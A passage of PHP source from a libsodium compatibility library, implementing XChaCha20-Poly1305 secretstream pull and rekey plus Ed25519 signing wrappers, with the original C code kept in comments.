# crypto_secretstream_xchacha20poly1305_INONCEBYTES);
$st->xorNonce($mac);
# sodium_increment(STATE_COUNTER(state),
# crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
$st->incrementCounter();
// Overwrite by reference:
$state = $st->toString();
/** @var bool $rekey */
$rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
# if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
# sodium_is_zero(STATE_COUNTER(state),
# crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
# crypto_secretstream_xchacha20poly1305_rekey(state);
# }
if ($rekey || $st->needsRekey()) {
// DO REKEY
self::secretstream_xchacha20poly1305_rekey($state);
}
# if (outlen_p != NULL) {
# *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
# }
return $out;
}
/**
* @param string $state
* @param string $cipher
* @param string $aad
* @return bool|array{0: string, 1: int}
* @throws SodiumException
*/
public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
{
$st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
$cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher);
# mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
$msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
$aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);
# if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
# sodium_misuse();
# }
if ((($msglen + 63) >> 6) > 0xfffffffe) {
throw new SodiumException(
'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
);
}
# crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
# crypto_onetimeauth_poly1305_init(&poly1305_state, block);
# sodium_memzero(block, sizeof block);
$auth = new ParagonIE_Sodium_Core32_Poly1305_State(
ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
);
# crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
$auth->update($aad);
# crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
# (0x10 - adlen) & 0xf);
$auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));
# memset(block, 0, sizeof block);
# block[0] = in[0];
# crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
# state->nonce, 1U, state->k);
$block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
$cipher[0] . str_repeat("\0", 63),
$st->getCombinedNonce(),
$st->getKey(),
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
# tag = block[0];
# block[0] = in[0];
# crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
$tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]);
$block[0] = $cipher[0];
$auth->update($block);
# c = in + (sizeof tag);
# crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
$auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen));
# crypto_onetimeauth_poly1305_update
# (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
$auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));
# STORE64_LE(slen, (uint64_t) adlen);
# crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
$slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);
$auth->update($slen);
# STORE64_LE(slen, (sizeof block) + mlen);
# crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
$slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);
$auth->update($slen);
# crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
# sodium_memzero(&poly1305_state, sizeof poly1305_state);
$mac = $auth->finish();
# stored_mac = c + mlen;
# if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
# sodium_memzero(mac, sizeof mac);
# return -1;
# }
$stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16);
if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) {
return false;
}
# crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
$out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen),
$st->getCombinedNonce(),
$st->getKey(),
ParagonIE_Sodium_Core32_Util::store64_le(2)
);
# XOR_BUF(STATE_INONCE(state), mac,
# crypto_secretstream_xchacha20poly1305_INONCEBYTES);
$st->xorNonce($mac);
# sodium_increment(STATE_COUNTER(state),
# crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
$st->incrementCounter();
# if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
# sodium_is_zero(STATE_COUNTER(state),
# crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
# crypto_secretstream_xchacha20poly1305_rekey(state);
# }
// Overwrite by reference:
$state = $st->toString();
/** @var bool $rekey */
$rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
if ($rekey || $st->needsRekey()) {
// DO REKEY
self::secretstream_xchacha20poly1305_rekey($state);
}
return array($out, $tag);
}
/**
* @param string $state
* @return void
* @throws SodiumException
*/
public static function secretstream_xchacha20poly1305_rekey(&$state)
{
$st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
# unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
# crypto_secretstream_xchacha20poly1305_INONCEBYTES];
# size_t i;
# for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
# new_key_and_inonce[i] = state->k[i];
# }
$new_key_and_inonce = $st->getKey();
# for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
# new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
# STATE_INONCE(state)[i];
# }
$new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8);
# crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
# sizeof new_key_and_inonce,
# state->nonce, state->k);
$st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
$new_key_and_inonce,
$st->getCombinedNonce(),
$st->getKey(),
ParagonIE_Sodium_Core32_Util::store64_le(0)
));
# for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
# state->k[i] = new_key_and_inonce[i];
# }
# for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
# STATE_INONCE(state)[i] =
# new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
# }
# _crypto_secretstream_xchacha20poly1305_counter_reset(state);
$st->counterReset();
$state = $st->toString();
}
/**
* Detached Ed25519 signature.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $sk
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function sign_detached($message, $sk)
{
return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk);
}
/**
* Attached Ed25519 signature. (Returns a signed message.)
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $sk
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function sign($message, $sk)
{
return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk);
}
/**
* Opens a signed message. If valid, returns the message.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $signedMessage
* @param string $pk
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function sign_open($signedMessage, $pk)
{
return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk);
}
/**
* Verify a detached signature of a given message and public key.
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $signature
* @param string $message
* @param string $pk
* @return bool
* @throws SodiumException
* @throws TypeError
*/
public static function sign_verify_detached($signature, $message, $pk)
{
return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk);
}
}